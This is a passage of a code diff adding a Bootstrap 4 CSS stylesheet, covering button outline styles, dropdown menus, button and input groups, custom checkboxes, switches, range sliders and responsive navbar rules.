.btn-outline-danger.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5); +} + +.btn-outline-light { + color: #f8f9fa; + border-color: #f8f9fa; +} + +.btn-outline-light:hover { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa; +} + +.btn-outline-light:focus, .btn-outline-light.focus { + box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5); +} + +.btn-outline-light.disabled, .btn-outline-light:disabled { + color: #f8f9fa; + background-color: transparent; +} + +.btn-outline-light:not(:disabled):not(.disabled):active, .btn-outline-light:not(:disabled):not(.disabled).active, +.show > .btn-outline-light.dropdown-toggle { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa; +} + +.btn-outline-light:not(:disabled):not(.disabled):active:focus, .btn-outline-light:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-light.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5); +} + +.btn-outline-dark { + color: #343a40; + border-color: #343a40; +} + +.btn-outline-dark:hover { + color: #fff; + background-color: #343a40; + border-color: #343a40; +} + +.btn-outline-dark:focus, .btn-outline-dark.focus { + box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5); +} + +.btn-outline-dark.disabled, .btn-outline-dark:disabled { + color: #343a40; + background-color: transparent; +} + +.btn-outline-dark:not(:disabled):not(.disabled):active, .btn-outline-dark:not(:disabled):not(.disabled).active, +.show > .btn-outline-dark.dropdown-toggle { + color: #fff; + background-color: #343a40; + border-color: #343a40; +} + +.btn-outline-dark:not(:disabled):not(.disabled):active:focus, .btn-outline-dark:not(:disabled):not(.disabled).active:focus, +.show > .btn-outline-dark.dropdown-toggle:focus { + box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5); +} + +.btn-link { + font-weight: 400; + color: #007bff; + text-decoration: none; +} + +.btn-link:hover { + color: #0056b3; + text-decoration: underline; +} + +.btn-link:focus, .btn-link.focus { + text-decoration: underline; + box-shadow: none; +} + +.btn-link:disabled, .btn-link.disabled { + color: #6c757d; + pointer-events: none; +} + +.btn-lg, .btn-group-lg > .btn { + padding: 0.5rem 1rem; + font-size: 1.25rem; + line-height: 1.5; + border-radius: 0.3rem; +} + +.btn-sm, .btn-group-sm > .btn { + padding: 0.25rem 0.5rem; + font-size: 0.875rem; + line-height: 1.5; + border-radius: 0.2rem; +} + +.btn-block { + display: block; + width: 100%; +} + +.btn-block + .btn-block { + margin-top: 0.5rem; +} + +input[type="submit"].btn-block, +input[type="reset"].btn-block, +input[type="button"].btn-block { + width: 100%; +} + +.fade { + transition: opacity 0.15s linear; +} + +@media (prefers-reduced-motion: reduce) { + .fade { + transition: none; + } +} + +.fade:not(.show) { + opacity: 0; +} + +.collapse:not(.show) { + display: none; +} + +.collapsing { + position: relative; + height: 0; + overflow: hidden; + transition: height 0.35s ease; +} + +@media (prefers-reduced-motion: reduce) { + .collapsing { + transition: none; + } +} + +.dropup, +.dropright, +.dropdown, +.dropleft { + position: relative; +} + +.dropdown-toggle { + white-space: nowrap; +} + +.dropdown-toggle::after { + display: inline-block; + margin-left: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0.3em solid; + border-right: 0.3em solid transparent; + border-bottom: 0; + border-left: 0.3em solid transparent; +} + +.dropdown-toggle:empty::after { + margin-left: 0; +} + +.dropdown-menu { + position: absolute; + top: 100%; + left: 0; + z-index: 1000; + display: none; + float: left; + min-width: 10rem; + padding: 0.5rem 0; + margin: 0.125rem 0 0; + font-size: 1rem; + color: #212529; + text-align: left; + list-style: none; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, 0.15); + border-radius: 0.25rem; +} + +.dropdown-menu-left { + right: auto; + left: 0; +} + +.dropdown-menu-right { + right: 0; + left: auto; +} + +@media (min-width: 576px) { + .dropdown-menu-sm-left { + right: auto; + left: 0; + } + .dropdown-menu-sm-right { + right: 0; + left: auto; + } +} + +@media (min-width: 768px) { + .dropdown-menu-md-left { + right: auto; + left: 0; + } + .dropdown-menu-md-right { + right: 0; + left: auto; + } +} + +@media (min-width: 992px) { + .dropdown-menu-lg-left { + right: auto; + left: 0; + } + .dropdown-menu-lg-right { + right: 0; + left: auto; + } +} + +@media (min-width: 1200px) { + .dropdown-menu-xl-left { + right: auto; + left: 0; + } + .dropdown-menu-xl-right { + right: 0; + left: auto; + } +} + +.dropup .dropdown-menu { + top: auto; + bottom: 100%; + margin-top: 0; + margin-bottom: 0.125rem; +} + +.dropup .dropdown-toggle::after { + display: inline-block; + margin-left: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0; + border-right: 0.3em solid transparent; + border-bottom: 0.3em solid; + border-left: 0.3em solid transparent; +} + +.dropup .dropdown-toggle:empty::after { + margin-left: 0; +} + +.dropright .dropdown-menu { + top: 0; + right: auto; + left: 100%; + margin-top: 0; + margin-left: 0.125rem; +} + +.dropright .dropdown-toggle::after { + display: inline-block; + margin-left: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0.3em solid transparent; + border-right: 0; + border-bottom: 0.3em solid transparent; + border-left: 0.3em solid; +} + +.dropright .dropdown-toggle:empty::after { + margin-left: 0; +} + +.dropright .dropdown-toggle::after { + vertical-align: 0; +} + +.dropleft .dropdown-menu { + top: 0; + right: 100%; + left: auto; + margin-top: 0; + margin-right: 0.125rem; +} + +.dropleft .dropdown-toggle::after { + display: inline-block; + margin-left: 0.255em; + vertical-align: 0.255em; + content: ""; +} + +.dropleft .dropdown-toggle::after { + display: none; +} + +.dropleft .dropdown-toggle::before { + display: inline-block; + margin-right: 0.255em; + vertical-align: 0.255em; + content: ""; + border-top: 0.3em solid transparent; + border-right: 0.3em solid; + border-bottom: 0.3em solid transparent; +} + +.dropleft .dropdown-toggle:empty::after { + margin-left: 0; +} + +.dropleft .dropdown-toggle::before { + vertical-align: 0; +} + +.dropdown-menu[x-placement^="top"], .dropdown-menu[x-placement^="right"], .dropdown-menu[x-placement^="bottom"], .dropdown-menu[x-placement^="left"] { + right: auto; + bottom: auto; +} + +.dropdown-divider { + height: 0; + margin: 0.5rem 0; + overflow: hidden; + border-top: 1px solid #e9ecef; +} + +.dropdown-item { + display: block; + width: 100%; + padding: 0.25rem 1.5rem; + clear: both; + font-weight: 400; + color: #212529; + text-align: inherit; + white-space: nowrap; + background-color: transparent; + border: 0; +} + +.dropdown-item:hover, .dropdown-item:focus { + color: #16181b; + text-decoration: none; + background-color: #f8f9fa; +} + +.dropdown-item.active, .dropdown-item:active { + color: #fff; + text-decoration: none; + background-color: #007bff; +} + +.dropdown-item.disabled, .dropdown-item:disabled { + color: #6c757d; + pointer-events: none; + background-color: transparent; +} + +.dropdown-menu.show { + display: block; +} + +.dropdown-header { + display: block; + padding: 0.5rem 1.5rem; + margin-bottom: 0; + font-size: 0.875rem; + color: #6c757d; + white-space: nowrap; +} + +.dropdown-item-text { + display: block; + padding: 0.25rem 1.5rem; + color: #212529; +} + +.btn-group, +.btn-group-vertical { + position: relative; + display: -ms-inline-flexbox; + display: inline-flex; + vertical-align: middle; +} + +.btn-group > .btn, +.btn-group-vertical > .btn { + position: relative; + -ms-flex: 1 1 auto; + flex: 1 1 auto; +} + +.btn-group > .btn:hover, +.btn-group-vertical > .btn:hover { + z-index: 1; +} + +.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active, +.btn-group-vertical > .btn:focus, +.btn-group-vertical > .btn:active, +.btn-group-vertical > .btn.active { + z-index: 1; +} + +.btn-toolbar { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -ms-flex-pack: start; + justify-content: flex-start; +} + +.btn-toolbar .input-group { + width: auto; +} + +.btn-group > .btn:not(:first-child), +.btn-group > .btn-group:not(:first-child) { + margin-left: -1px; +} + +.btn-group > .btn:not(:last-child):not(.dropdown-toggle), +.btn-group > .btn-group:not(:last-child) > .btn { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} + +.btn-group > .btn:not(:first-child), +.btn-group > .btn-group:not(:first-child) > .btn { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} + +.dropdown-toggle-split { + padding-right: 0.5625rem; + padding-left: 0.5625rem; +} + +.dropdown-toggle-split::after, +.dropup .dropdown-toggle-split::after, +.dropright .dropdown-toggle-split::after { + margin-left: 0; +} + +.dropleft .dropdown-toggle-split::before { + margin-right: 0; +} + +.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split { + padding-right: 0.375rem; + padding-left: 0.375rem; +} + +.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split { + padding-right: 0.75rem; + padding-left: 0.75rem; +} + +.btn-group-vertical { + -ms-flex-direction: column; + flex-direction: column; + -ms-flex-align: start; + align-items: flex-start; + -ms-flex-pack: center; + justify-content: center; +} + +.btn-group-vertical > .btn, +.btn-group-vertical > .btn-group { + width: 100%; +} + +.btn-group-vertical > .btn:not(:first-child), +.btn-group-vertical > .btn-group:not(:first-child) { + margin-top: -1px; +} + +.btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle), +.btn-group-vertical > .btn-group:not(:last-child) > .btn { + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} + +.btn-group-vertical > .btn:not(:first-child), +.btn-group-vertical > .btn-group:not(:first-child) > .btn { + border-top-left-radius: 0; + border-top-right-radius: 0; +} + +.btn-group-toggle > .btn, +.btn-group-toggle > .btn-group > .btn { + margin-bottom: 0; +} + +.btn-group-toggle > .btn input[type="radio"], +.btn-group-toggle > .btn input[type="checkbox"], +.btn-group-toggle > .btn-group > .btn input[type="radio"], +.btn-group-toggle > .btn-group > .btn input[type="checkbox"] { + position: absolute; + clip: rect(0, 0, 0, 0); + pointer-events: none; +} + +.input-group { + position: relative; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -ms-flex-align: stretch; + align-items: stretch; + width: 100%; +} + +.input-group > .form-control, +.input-group > .form-control-plaintext, +.input-group > .custom-select, +.input-group > .custom-file { + position: relative; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + width: 1%; + margin-bottom: 0; +} + +.input-group > .form-control + .form-control, +.input-group > .form-control + .custom-select, +.input-group > .form-control + .custom-file, +.input-group > .form-control-plaintext + .form-control, +.input-group > .form-control-plaintext + .custom-select, +.input-group > .form-control-plaintext + .custom-file, +.input-group > .custom-select + .form-control, +.input-group > .custom-select + .custom-select, +.input-group > .custom-select + .custom-file, +.input-group > .custom-file + .form-control, +.input-group > .custom-file + .custom-select, +.input-group > .custom-file + .custom-file { + margin-left: -1px; +} + +.input-group > .form-control:focus, +.input-group > .custom-select:focus, +.input-group > .custom-file .custom-file-input:focus ~ .custom-file-label { + z-index: 3; +} + +.input-group > .custom-file .custom-file-input:focus { + z-index: 4; +} + +.input-group > .form-control:not(:last-child), +.input-group > .custom-select:not(:last-child) { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} + +.input-group > .form-control:not(:first-child), +.input-group > .custom-select:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} + +.input-group > .custom-file { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; +} + +.input-group > .custom-file:not(:last-child) .custom-file-label, +.input-group > .custom-file:not(:last-child) .custom-file-label::after { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} + +.input-group > .custom-file:not(:first-child) .custom-file-label { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} + +.input-group-prepend, +.input-group-append { + display: -ms-flexbox; + display: flex; +} + +.input-group-prepend .btn, +.input-group-append .btn { + position: relative; + z-index: 2; +} + +.input-group-prepend .btn:focus, +.input-group-append .btn:focus { + z-index: 3; +} + +.input-group-prepend .btn + .btn, +.input-group-prepend .btn + .input-group-text, +.input-group-prepend .input-group-text + .input-group-text, +.input-group-prepend .input-group-text + .btn, +.input-group-append .btn + .btn, +.input-group-append .btn + .input-group-text, +.input-group-append .input-group-text + .input-group-text, +.input-group-append .input-group-text + .btn { + margin-left: -1px; +} + +.input-group-prepend { + margin-right: -1px; +} + +.input-group-append { + margin-left: -1px; +} + +.input-group-text { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + padding: 0.375rem 0.75rem; + margin-bottom: 0; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #495057; + text-align: center; + white-space: nowrap; + background-color: #e9ecef; + border: 1px solid #ced4da; + border-radius: 0.25rem; +} + +.input-group-text input[type="radio"], +.input-group-text input[type="checkbox"] { + margin-top: 0; +} + +.input-group-lg > .form-control:not(textarea), +.input-group-lg > .custom-select { + height: calc(1.5em + 1rem + 2px); +} + +.input-group-lg > .form-control, +.input-group-lg > .custom-select, +.input-group-lg > .input-group-prepend > .input-group-text, +.input-group-lg > .input-group-append > .input-group-text, +.input-group-lg > .input-group-prepend > .btn, +.input-group-lg > .input-group-append > .btn { + padding: 0.5rem 1rem; + font-size: 1.25rem; + line-height: 1.5; + border-radius: 0.3rem; +} + +.input-group-sm > .form-control:not(textarea), +.input-group-sm > .custom-select { + height: calc(1.5em + 0.5rem + 2px); +} + +.input-group-sm > .form-control, +.input-group-sm > .custom-select, +.input-group-sm > .input-group-prepend > .input-group-text, +.input-group-sm > .input-group-append > .input-group-text, +.input-group-sm > .input-group-prepend > .btn, +.input-group-sm > .input-group-append > .btn { + padding: 0.25rem 0.5rem; + font-size: 0.875rem; + line-height: 1.5; + border-radius: 0.2rem; +} + +.input-group-lg > .custom-select, +.input-group-sm > .custom-select { + padding-right: 1.75rem; +} + +.input-group > .input-group-prepend > .btn, +.input-group > .input-group-prepend > .input-group-text, +.input-group > .input-group-append:not(:last-child) > .btn, +.input-group > .input-group-append:not(:last-child) > .input-group-text, +.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle), +.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} + +.input-group > .input-group-append > .btn, +.input-group > .input-group-append > .input-group-text, +.input-group > .input-group-prepend:not(:first-child) > .btn, +.input-group > .input-group-prepend:not(:first-child) > .input-group-text, +.input-group > .input-group-prepend:first-child > .btn:not(:first-child), +.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} + +.custom-control { + position: relative; + display: block; + min-height: 1.5rem; + padding-left: 1.5rem; +} + +.custom-control-inline { + display: -ms-inline-flexbox; + display: inline-flex; + margin-right: 1rem; +} + +.custom-control-input { + position: absolute; + z-index: -1; + opacity: 0; +} + +.custom-control-input:checked ~ .custom-control-label::before { + color: #fff; + border-color: #007bff; + background-color: #007bff; +} + +.custom-control-input:focus ~ .custom-control-label::before { + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.custom-control-input:focus:not(:checked) ~ .custom-control-label::before { + border-color: #80bdff; +} + +.custom-control-input:not(:disabled):active ~ .custom-control-label::before { + color: #fff; + background-color: #b3d7ff; + border-color: #b3d7ff; +} + +.custom-control-input:disabled ~ .custom-control-label { + color: #6c757d; +} + +.custom-control-input:disabled ~ .custom-control-label::before { + background-color: #e9ecef; +} + +.custom-control-label { + position: relative; + margin-bottom: 0; + vertical-align: top; +} + +.custom-control-label::before { + position: absolute; + top: 0.25rem; + left: -1.5rem; + display: block; + width: 1rem; + height: 1rem; + pointer-events: none; + content: ""; + background-color: #fff; + border: #adb5bd solid 1px; +} + +.custom-control-label::after { + position: absolute; + top: 0.25rem; + left: -1.5rem; + display: block; + width: 1rem; + height: 1rem; + content: ""; + background: no-repeat 50% / 50% 50%; +} + +.custom-checkbox .custom-control-label::before { + border-radius: 0.25rem; +} + +.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after { + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3e%3c/svg%3e"); +} + +.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before { + border-color: #007bff; + background-color: #007bff; +} + +.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after { + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3e%3cpath stroke='%23fff' d='M0 2h4'/%3e%3c/svg%3e"); +} + +.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before { + background-color: rgba(0, 123, 255, 0.5); +} + +.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before { + background-color: rgba(0, 123, 255, 0.5); +} + +.custom-radio .custom-control-label::before { + border-radius: 50%; +} + +.custom-radio .custom-control-input:checked ~ .custom-control-label::after { + background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e"); +} + +.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before { + background-color: rgba(0, 123, 255, 0.5); +} + +.custom-switch { + padding-left: 2.25rem; +} + +.custom-switch .custom-control-label::before { + left: -2.25rem; + width: 1.75rem; + pointer-events: all; + border-radius: 0.5rem; +} + +.custom-switch .custom-control-label::after { + top: calc(0.25rem + 2px); + left: calc(-2.25rem + 2px); + width: calc(1rem - 4px); + height: calc(1rem - 4px); + background-color: #adb5bd; + border-radius: 0.5rem; + transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-transform 0.15s ease-in-out; + transition: transform 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; + transition: transform 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-transform 0.15s ease-in-out; +} + +@media (prefers-reduced-motion: reduce) { + .custom-switch .custom-control-label::after { + transition: none; + } +} + +.custom-switch .custom-control-input:checked ~ .custom-control-label::after { + background-color: #fff; + -webkit-transform: translateX(0.75rem); + transform: translateX(0.75rem); +} + +.custom-switch .custom-control-input:disabled:checked ~ .custom-control-label::before { + background-color: rgba(0, 123, 255, 0.5); +} + +.custom-select { + display: inline-block; + width: 100%; + height: calc(1.5em + 0.75rem + 2px); + padding: 0.375rem 1.75rem 0.375rem 0.75rem; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #495057; + vertical-align: middle; + background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right 0.75rem center/8px 10px; + background-color: #fff; + border: 1px solid #ced4da; + border-radius: 0.25rem; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} + +.custom-select:focus { + border-color: #80bdff; + outline: 0; + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.custom-select:focus::-ms-value { + color: #495057; + background-color: #fff; +} + +.custom-select[multiple], .custom-select[size]:not([size="1"]) { + height: auto; + padding-right: 0.75rem; + background-image: none; +} + +.custom-select:disabled { + color: #6c757d; + background-color: #e9ecef; +} + +.custom-select::-ms-expand { + display: none; +} + +.custom-select-sm { + height: calc(1.5em + 0.5rem + 2px); + padding-top: 0.25rem; + padding-bottom: 0.25rem; + padding-left: 0.5rem; + font-size: 0.875rem; +} + +.custom-select-lg { + height: calc(1.5em + 1rem + 2px); + padding-top: 0.5rem; + padding-bottom: 0.5rem; + padding-left: 1rem; + font-size: 1.25rem; +} + +.custom-file { + position: relative; + display: inline-block; + width: 100%; + height: calc(1.5em + 0.75rem + 2px); + margin-bottom: 0; +} + +.custom-file-input { + position: relative; + z-index: 2; + width: 100%; + height: calc(1.5em + 0.75rem + 2px); + margin: 0; + opacity: 0; +} + +.custom-file-input:focus ~ .custom-file-label { + border-color: #80bdff; + box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.custom-file-input:disabled ~ .custom-file-label { + background-color: #e9ecef; +} + +.custom-file-input:lang(en) ~ .custom-file-label::after { + content: "Browse"; +} + +.custom-file-input ~ .custom-file-label[data-browse]::after { + content: attr(data-browse); +} + +.custom-file-label { + position: absolute; + top: 0; + right: 0; + left: 0; + z-index: 1; + height: calc(1.5em + 0.75rem + 2px); + padding: 0.375rem 0.75rem; + font-weight: 400; + line-height: 1.5; + color: #495057; + background-color: #fff; + border: 1px solid #ced4da; + border-radius: 0.25rem; +} + +.custom-file-label::after { + position: absolute; + top: 0; + right: 0; + bottom: 0; + z-index: 3; + display: block; + height: calc(1.5em + 0.75rem); + padding: 0.375rem 0.75rem; + line-height: 1.5; + color: #495057; + content: "Browse"; + background-color: #e9ecef; + border-left: inherit; + border-radius: 0 0.25rem 0.25rem 0; +} + +.custom-range { + width: 100%; + height: calc(1rem + 0.4rem); + padding: 0; + background-color: transparent; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} + +.custom-range:focus { + outline: none; +} + +.custom-range:focus::-webkit-slider-thumb { + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.custom-range:focus::-moz-range-thumb { + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.custom-range:focus::-ms-thumb { + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25); +} + +.custom-range::-moz-focus-outer { + border: 0; +} + +.custom-range::-webkit-slider-thumb { + width: 1rem; + height: 1rem; + margin-top: -0.25rem; + background-color: #007bff; + border: 0; + border-radius: 1rem; + transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; + -webkit-appearance: none; + appearance: none; +} + +@media (prefers-reduced-motion: reduce) { + .custom-range::-webkit-slider-thumb { + transition: none; + } +} + +.custom-range::-webkit-slider-thumb:active { + background-color: #b3d7ff; +} + +.custom-range::-webkit-slider-runnable-track { + width: 100%; + height: 0.5rem; + color: transparent; + cursor: pointer; + background-color: #dee2e6; + border-color: transparent; + border-radius: 1rem; +} + +.custom-range::-moz-range-thumb { + width: 1rem; + height: 1rem; + background-color: #007bff; + border: 0; + border-radius: 1rem; + transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; + -moz-appearance: none; + appearance: none; +} + +@media (prefers-reduced-motion: reduce) { + .custom-range::-moz-range-thumb { + transition: none; + } +} + +.custom-range::-moz-range-thumb:active { + background-color: #b3d7ff; +} + +.custom-range::-moz-range-track { + width: 100%; + height: 0.5rem; + color: transparent; + cursor: pointer; + background-color: #dee2e6; + border-color: transparent; + border-radius: 1rem; +} + +.custom-range::-ms-thumb { + width: 1rem; + height: 1rem; + margin-top: 0; + margin-right: 0.2rem; + margin-left: 0.2rem; + background-color: #007bff; + border: 0; + border-radius: 1rem; + transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; + appearance: none; +} + +@media (prefers-reduced-motion: reduce) { + .custom-range::-ms-thumb { + transition: none; + } +} + +.custom-range::-ms-thumb:active { + background-color: #b3d7ff; +} + +.custom-range::-ms-track { + width: 100%; + height: 0.5rem; + color: transparent; + cursor: pointer; + background-color: transparent; + border-color: transparent; + border-width: 0.5rem; +} + +.custom-range::-ms-fill-lower { + background-color: #dee2e6; + border-radius: 1rem; +} + +.custom-range::-ms-fill-upper { + margin-right: 15px; + background-color: #dee2e6; + border-radius: 1rem; +} + +.custom-range:disabled::-webkit-slider-thumb { + background-color: #adb5bd; +} + +.custom-range:disabled::-webkit-slider-runnable-track { + cursor: default; +} + +.custom-range:disabled::-moz-range-thumb { + background-color: #adb5bd; +} + +.custom-range:disabled::-moz-range-track { + cursor: default; +} + +.custom-range:disabled::-ms-thumb { + background-color: #adb5bd; +} + +.custom-control-label::before, +.custom-file-label, +.custom-select { + transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; +} + +@media (prefers-reduced-motion: reduce) { + .custom-control-label::before, + .custom-file-label, + .custom-select { + transition: none; + } +} + +.nav { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + padding-left: 0; + margin-bottom: 0; + list-style: none; +} + +.nav-link { + display: block; + padding: 0.5rem 1rem; +} + +.nav-link:hover, .nav-link:focus { + text-decoration: none; +} + +.nav-link.disabled { + color: #6c757d; + pointer-events: none; + cursor: default; +} + +.nav-tabs { + border-bottom: 1px solid #dee2e6; +} + +.nav-tabs .nav-item { + margin-bottom: -1px; +} + +.nav-tabs .nav-link { + border: 1px solid transparent; + border-top-left-radius: 0.25rem; + border-top-right-radius: 0.25rem; +} + +.nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus { + border-color: #e9ecef #e9ecef #dee2e6; +} + +.nav-tabs .nav-link.disabled { + color: #6c757d; + background-color: transparent; + border-color: transparent; +} + +.nav-tabs .nav-link.active, +.nav-tabs .nav-item.show .nav-link { + color: #495057; + background-color: #fff; + border-color: #dee2e6 #dee2e6 #fff; +} + +.nav-tabs .dropdown-menu { + margin-top: -1px; + border-top-left-radius: 0; + border-top-right-radius: 0; +} + +.nav-pills .nav-link { + border-radius: 0.25rem; +} + +.nav-pills .nav-link.active, +.nav-pills .show > .nav-link { + color: #fff; + background-color: #007bff; +} + +.nav-fill .nav-item { + -ms-flex: 1 1 auto; + flex: 1 1 auto; + text-align: center; +} + +.nav-justified .nav-item { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + text-align: center; +} + +.tab-content > .tab-pane { + display: none; +} + +.tab-content > .active { + display: block; +} + +.navbar { + position: relative; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 0.5rem 1rem; +} + +.navbar > .container, +.navbar > .container-fluid { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: justify; + justify-content: space-between; +} + +.navbar-brand { + display: inline-block; + padding-top: 0.3125rem; + padding-bottom: 0.3125rem; + margin-right: 1rem; + font-size: 1.25rem; + line-height: inherit; + white-space: nowrap; +} + +.navbar-brand:hover, .navbar-brand:focus { + text-decoration: none; +} + +.navbar-nav { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + padding-left: 0; + margin-bottom: 0; + list-style: none; +} + +.navbar-nav .nav-link { + padding-right: 0; + padding-left: 0; +} + +.navbar-nav .dropdown-menu { + position: static; + float: none; +} + +.navbar-text { + display: inline-block; + padding-top: 0.5rem; + padding-bottom: 0.5rem; +} + +.navbar-collapse { + -ms-flex-preferred-size: 100%; + flex-basis: 100%; + -ms-flex-positive: 1; + flex-grow: 1; + -ms-flex-align: center; + align-items: center; +} + +.navbar-toggler { + padding: 0.25rem 0.75rem; + font-size: 1.25rem; + line-height: 1; + background-color: transparent; + border: 1px solid transparent; + border-radius: 0.25rem; +} + +.navbar-toggler:hover, .navbar-toggler:focus { + text-decoration: none; +} + +.navbar-toggler-icon { + display: inline-block; + width: 1.5em; + height: 1.5em; + vertical-align: middle; + content: ""; + background: no-repeat center center; + background-size: 100% 100%; +} + +@media (max-width: 575.98px) { + .navbar-expand-sm > .container, + .navbar-expand-sm > .container-fluid { + padding-right: 0; + padding-left: 0; + } +} + +@media (min-width: 576px) { + .navbar-expand-sm { + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -ms-flex-pack: start; + justify-content: flex-start; + } + .navbar-expand-sm .navbar-nav { + -ms-flex-direction: row; + flex-direction: row; + } + .navbar-expand-sm .navbar-nav .dropdown-menu { + position: absolute; + } + .navbar-expand-sm .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem; + } + .navbar-expand-sm > .container, + .navbar-expand-sm > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + } + .navbar-expand-sm .navbar-collapse { + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto; + } + .navbar-expand-sm .navbar-toggler { + display: none; + } +} + +@media (max-width: 767.98px) { + .navbar-expand-md > .container, + .navbar-expand-md > .container-fluid { + padding-right: 0; + padding-left: 0; + } +} + +@media (min-width: 768px) { + .navbar-expand-md { + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -ms-flex-pack: start; + justify-content: flex-start; + } + .navbar-expand-md .navbar-nav { + -ms-flex-direction: row; + flex-direction: row; + } + .navbar-expand-md .navbar-nav .dropdown-menu { + position: absolute; + } + .navbar-expand-md .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem; + } + .navbar-expand-md > .container, + .navbar-expand-md > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + } + .navbar-expand-md .navbar-collapse { + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto; + } + .navbar-expand-md .navbar-toggler { + display: none; + } +} + +@media (max-width: 991.98px) { + .navbar-expand-lg > .container, + .navbar-expand-lg > .container-fluid { + padding-right: 0; + padding-left: 0; + } +} + +@media (min-width: 992px) { + .navbar-expand-lg { + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -ms-flex-pack: start; + justify-content: flex-start; + } + .navbar-expand-lg .navbar-nav { + -ms-flex-direction: row; + flex-direction: row; + } + .navbar-expand-lg .navbar-nav 